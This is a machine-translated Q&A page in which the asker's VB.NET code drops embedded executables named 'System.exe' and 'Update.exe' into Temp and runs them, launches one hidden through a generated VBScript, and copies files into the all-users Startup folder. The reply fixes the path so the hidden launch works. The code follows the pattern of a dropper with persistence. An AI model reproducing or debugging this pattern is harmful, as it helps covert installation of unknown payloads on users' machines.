如何在没有基于Windows的脚本宿主的情况下在Visual Basic 2008中运行vbscript?

时间:2015-06-18 04:46:49

标签: vbscript

我需要帮助来解决这个脚本: 问题很简单,无法运行VBScript VB8,因为它会在基于Windows的脚本主机上打开并引发错误。

正如你在这里看到的: img

我想以普通的VBScript脚本运行。

Public Class Form1
    Dim File As String = "%temp%\Desktop"

    Dim Copy As String = "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"
    Dim Paste As String = "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"

    Dim Pegar As String = "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"

    Dim NEA As String = "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

    IO.File.WriteAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\System.exe", My.Resources.System)
    Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\System.exe")
    IO.File.WriteAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\Update.exe", My.Resources.update)

“”“”“”“”“”“”“”“”“”“”“”“”“”错误从此处开始“”“”“”“”“”“” “”“”“”“”“”“”“”“”“”“”“

    IO.File.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Desktop & "\net.vbs", My.Resources.net)
    Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\net.vbs")

“”“”“”“”“”“”“”“”“”“”“”“”“结束错误”“”“”“”“”“”“”“” “”“”“”“”“”“”“”“”“”“”“”“”

    MsgBox("Ok")
    Dim aakam As Integer
    On Error Resume Next
    aakam = 1000
    Dim aakam031 As String = My.Computer.FileSystem.SpecialDirectories.Temp
    Dim akam As String = aakam031 + "System.exe"
    IO.File.WriteAllBytes(akam, My.Resources.System)
    Process.Start(akam)
    If System.IO.File.Exists(File) = True Then
        System.IO.File.Copy(File, Copy)
        System.IO.File.Copy(File, Paste)
        System.IO.File.Copy(File, Pegar)
        System.IO.File.Copy(File, NEA)
    End If
End Sub

vbscript的脚本是:

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "Update.exe" & Chr(34), 0
Set WshShell = Nothing

我希望它像典型的vbscript一样打开。没有基于Windows的脚本主机。 如果你知道如何将exe移动到shell:common启动。 运行vbscript会好得多 感谢。

1 个答案:

答案 0 :(得分:0)

正如@MCND已经指出:您的问题不是Windows脚本宿主,而是在当前工作目录中找不到可执行文件。如果可执行文件位于用户的Temp目录中,则只需将%TEMP%环境变量添加到可执行文件路径中:

WshShell.Run Chr(34) & "%TEMP%\Update.exe" & Chr(34), 0

或者您可以将目录作为参数传递给脚本,并将工作目录设置为:

WshShell.CurrentDirectory = WScript.Arguments(0)
WshShell.Run Chr(34) & "Update.exe" & Chr(34), 0